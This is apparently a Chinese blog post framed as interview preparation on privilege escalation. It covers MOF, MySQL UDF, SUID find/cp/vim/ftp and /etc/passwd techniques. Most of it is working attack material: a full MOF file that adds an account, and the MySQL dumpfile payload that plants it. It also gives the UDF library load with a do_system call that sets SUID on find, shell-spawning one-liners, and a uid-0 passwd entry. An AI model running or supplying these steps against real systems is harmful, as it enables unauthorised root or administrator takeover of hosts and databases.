提权方法面试题

mof提权

利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,每隔五秒就会去监控进程创建和死亡,写入我们的cmd命令使其被带入执行。
MOF提权的条件要求十分严苛:


1.windows 03及以下版本
2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
3.secure-file-priv参数不为null

提权原理
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权
公开的nullevt.mof利用代码

 1 #pragma namespace("\\\\.\\root\\subscription")
 2 instance of __EventFilter as $EventFilter
 3 {
 4 EventNamespace = "Root\\Cimv2";
 5 Name = "filtP2";
 6 Query = "Select * From __InstanceModificationEvent "
 7 "Where TargetInstance Isa \"Win32_LocalTime\" "
 8 "And TargetInstance.Second = 5";
 9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };

MOF文件利用
将上面的脚本上传到有读写权限的目录下:
这里上传到了C:\Documents and Settings\test

根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下

payload:

select load_file("C:/Documents and Settings/test/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。
验证提权
当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。
在这里插入图片描述

可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:


net.exe user localgroup administrator hpdoger /add\

关于Mof提权的弊端
我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

cmd 下运行下面语句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重启服务即可。

UDF提权

数据库(如MySQL)允许用户通过动态链接库(.so或.dll)扩展自定义函数(UDF),本质上是可以将恶意代码注入到数据库服务进程(如mysqld)中。数据库进程会直接加载该.so文件并执行其中的代码,导致攻击者能够以数据库服务的高权限执行任意系统命令(如反弹Shell、添加用户等)。

1)获取了MySQL的控制权,也就是知道MySQL账号和密码,并且能登录上去。
(2)MySQL具有读写的权限,即secure_file_priv的值为空才行。
(3)MySQL服务以root用户运行,如果是以普通用户运行的话,那么提权之后的权限也是普通用户的权限。

MySQL版本大于5.1,扩展文件必须放在MySQL安装目录的lib\plugin文件夹下。
mysql版本<5.1 需要将扩展文件放在 C:\windows\或C:\windows\system32

提权过程

连接数据库

mysql -u root -p

查看是否有读写权限,发现值为空符合我们的前提。


show global variables like 'secure_file_priv';

查看一下扩展目录在哪里

show global variables like '%plugin%';

在kali的漏洞库里面有以及写好的c语言脚本的,直接编译成.so文件即可

gcc -g -c 1518.c
gcc -g -shared -o rong.so 1518.c

然后下载到靶机的tmp目录下面。
要把扩展文件放到plugin目录下面才可以,但是我们普通用户是没有权限直接把文件移动到plugin下面的。可以在MySQL上面创建一个表,把rong.so的内容写入到表里面,然后再把这个表里面的内容读到plugin目录下面的rong.so文件。这样就实现了tmp目录下的rong.so转移到plugin目录下,所以这就是为啥MySQL要具有读写权限。


show databases;

新建一个表。


use mysql
create table rong(line blob)

把/tmp/rong.so文件内容写入这个新建的表里面,load_file函数就是把文件内容写入到表里面。


insert into rong values(load_file('/tmp/rong.so'));

把表里面的内容读到plugin目录的rong.so,into dumpfile函数就是把表里的内容读入文件里面。


select * from rong into dumpfile '/usr/lib/mysql/plugin/rong.so'; 

把刚刚新建的表删掉(不删也行),清楚痕迹。


drop table rong

已经成功把自定义扩展函数放到plugin目录下面了,接着导入函数。


create function do_system retuns integer soname 'rong.so'

find提权

我们可以给find命令赋予一个suid权限,然后再利用find提权即可。


select do_system('chmod u+s /usr/bin/find');

在执行find命令的过程中利用exec参数来指定其他的命令。例如,在执行find命令过程中又执行whoami命令,因为在执行find命令过程中权限为root,所以最后输出root。找的文件必须是存在滴

find a.txt -exec "whoami" \;

把whoami换成/bin/sh,以root的身份新建一个交互终端即可

find a.txt -exec "/bin/sh" -p \;

cp提权

当运行cp(复制)命令时,就会有root权限,也就是说可以复制任意文件。众所周知/etc/passwd这个文件是保存用户的,只有root才可以修改。那可以把/etc/passwd这个文件的内容复制到一个新建的文件中,然后添加一个root用户,最后再复制回去不完成对/etc/passwd文件的修改,之后再切换刚刚添加的root用户即可。
复制到a.txt中


cp /etc/passwd a.txt

在添加之前,先在kali生成一个密码,用来切换用户用的。


openssl passwd -1 -salt 1×2×3 abc123 //-1为md5,-salt指定盐(随意)密码abc123

在这里插入图片描述

然后按照/etc/passwd文件里第一条root用户的格式来添加,把x换成刚刚生成的密码


test:$1$1×2×3$v7HAeao264EWdUs17q7XK/:0:0:root:/root:/bin/bash

在这里插入图片描述

再复制回去就ok了。


cp a.txt /etc/passwd

切换我们刚刚添加的用户,并输入刚刚生成的密码即可变成root。
在这里插入图片描述

VIM

当vim被赋予suid权限时,可以编辑任意文件。那么我们直接在/etc/passwd添加个用户。
还有一个方法是去修改/etc/sudoers文件,在/etc/sudoers文件中把普通用户的权限配置为root权限,按照root的方式配置即可。
在这里插入图片描述

ftp提权

先输入ftp ,再在底行输入!/bin/sh -p即可
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值